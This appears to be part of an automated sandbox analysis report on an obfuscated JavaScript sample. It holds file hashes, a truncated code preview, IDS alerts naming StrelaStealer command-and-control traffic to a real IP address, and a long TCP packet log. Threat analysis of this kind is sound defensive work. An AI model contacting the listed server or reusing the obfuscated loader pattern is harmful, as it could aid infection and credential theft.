Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14406), with CRLF line terminators
Entropy (8bit):	4.936564521394021
TrID:
File name:	15943270342346830855.js
File size:	17'946 bytes
MD5:	456479b2e635dade03d36f381cab6924
SHA1:	a5bcb6e980d9e02f0913cec991c427def81921d8
SHA256:	5b796b359dcb67976ba6360daddb47004c69ee5b31d67e09bb753fbd0b4d2f17
SHA512:	b7cdf67b662c1e08dcf42e12bb518dd4bab02bfa4597fc3f02320b245f70eeb5ddfa1b9879d31a744f1aabcf89c708f891e89e3b97ddb5fd80da66638818526e
SSDEEP:	384:yFHMjvSANnT4k1w5lPAEAU+LjM6jxDnIindz:yFHMj6CT4kmlPAEAU+LjvjxE4dz
TLSH:	CB82A580A1855E951DFC3EA478EF4D8A299C837C47530CEA10B7E48835ADF29A5F50FA
File Content Preview:	function usonsikr(){hqgrskhej=[1031,3079,5127,4103,2055,3072];var kvjoexc=this[yljcgzxso+rojtowh+ufcqqqcht+svbjnuiz+hblta+wxohah+afouysyp+ibxwdivgp](this[uesspvn+copkspm+ipkrhgc+ufcqqqcht+bwrgfu+yljcgzxso+ibxwdivgp][vtpbub+ufcqqqcht+hblta+rojtowh+ibxwdivg

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:42:06.217095+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49705	193.143.1.205	80	TCP
2025-01-11T03:42:06.217095+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49705	193.143.1.205	80	TCP
2025-01-11T03:42:08.698559+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:42:05.384191990 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:05.389137983 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:05.389250040 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:05.392585993 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:05.397532940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.216998100 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.217019081 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.217042923 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.217094898 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.217109919 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.217125893 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.217191935 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.217257977 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.217271090 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.217282057 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.217308044 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.217319012 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.217386007 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.217396975 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.217442989 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.221921921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.221985102 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.221991062 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.222052097 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.273757935 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.273777008 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.273844957 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.345597029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.345652103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.345664978 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.345685959 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.345699072 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.345711946 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.345761061 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.345972061 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.346021891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.346021891 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.346214056 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.346225023 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.346239090 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.346252918 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.346278906 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.346352100 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.346374989 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.346388102 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.346420050 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.347028971 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.347078085 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.347100973 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.347119093 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.347163916 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.347259998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.347274065 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.347318888 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.347397089 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.348086119 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.348098040 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.348119974 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.348285913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.348330975 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.387058973 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.387096882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.387109995 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.387136936 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.433012962 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.449703932 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.449726105 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.449738979 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.449794054 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.474273920 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.474296093 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.474308968 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.474315882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.474373102 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.474374056 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.474443913 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.474472046 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.474483013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.474497080 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.474531889 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.474598885 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.474750996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.474787951 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.474793911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.474934101 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.474946022 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.474966049 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.475109100 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.475121975 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.475133896 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.475145102 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.475173950 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.475668907 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.475681067 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.475693941 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.475718975 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.475810051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.475821972 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.475835085 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.475847960 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.475850105 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.475877047 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.476536036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.476548910 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.476560116 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.476574898 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.476618052 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.476710081 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.476722956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.476735115 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.476749897 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.476769924 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.476793051 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.477422953 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.477436066 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.477447987 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.477474928 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.477646112 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.477658987 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.477670908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.477683067 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.477683067 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.477708101 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.478331089 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.478343964 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.478357077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.478373051 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.478394032 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.478506088 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.515750885 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.515796900 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.515809059 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.515821934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.515834093 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.515863895 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.515863895 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.515906096 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.537142038 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.537161112 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.537254095 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.578291893 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.578331947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.578345060 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.578414917 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.578432083 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.578448057 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.578684092 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.602829933 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.602885008 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.602897882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.602911949 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.602968931 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.602983952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.602994919 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.603050947 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.603089094 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.603125095 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.603176117 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.603188992 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.603224993 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.603343964 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.603357077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.603391886 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.603451014 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.603543043 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.603555918 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.603578091 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.603743076 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.603755951 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.603769064 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.603780985 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.603780985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.603813887 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.604022980 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.604067087 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.604195118 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.604262114 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.604274035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.604408979 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.604423046 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.604512930 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.604557037 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.604597092 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.604624033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.604636908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.604671955 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.604809046 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.604821920 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.604835033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.604861021 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.605016947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.605060101 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.605074883 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.605088949 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.605102062 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.605113983 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.605125904 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.605153084 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.605536938 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.605587006 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.605624914 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.605757952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.605772018 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.605807066 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.605952978 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.605967045 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.605979919 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.605993032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.606170893 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.606251001 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.606257915 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.606266022 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.606295109 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.616179943 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.616224051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.616236925 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.616286039 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.616342068 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.616354942 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.616367102 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.616379976 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.616436958 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.616436958 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.616436958 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.616684914 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.616698027 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.616714954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.616734982 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.616899967 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.616919041 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.616930962 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.616940975 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.616945028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.616961002 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.616975069 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.616983891 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.617007971 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.624661922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.624682903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.624696970 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.624713898 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.624752998 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.627526999 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.627552986 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.669011116 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.669033051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.669045925 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.669059038 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.669126034 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.669153929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.669169903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.669176102 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.669214010 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.669357061 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.669369936 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.669390917 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.669404030 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.669411898 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.669434071 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.690345049 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.690365076 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.690376997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.690419912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.690434933 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.690449953 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.690493107 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.690562963 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.690576077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.690587997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.690618038 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.690639019 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.690833092 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.690864086 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.690875053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.691031933 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.691082954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.691095114 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.691107035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.691118956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.691119909 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.691137075 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.707149982 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.707200050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.707211971 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.707343102 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.707343102 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.707365036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.707382917 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.707396984 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.707427979 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.707566023 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.707581043 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.707602978 CET	49705	80	192.168.2.5	193.143.1.205
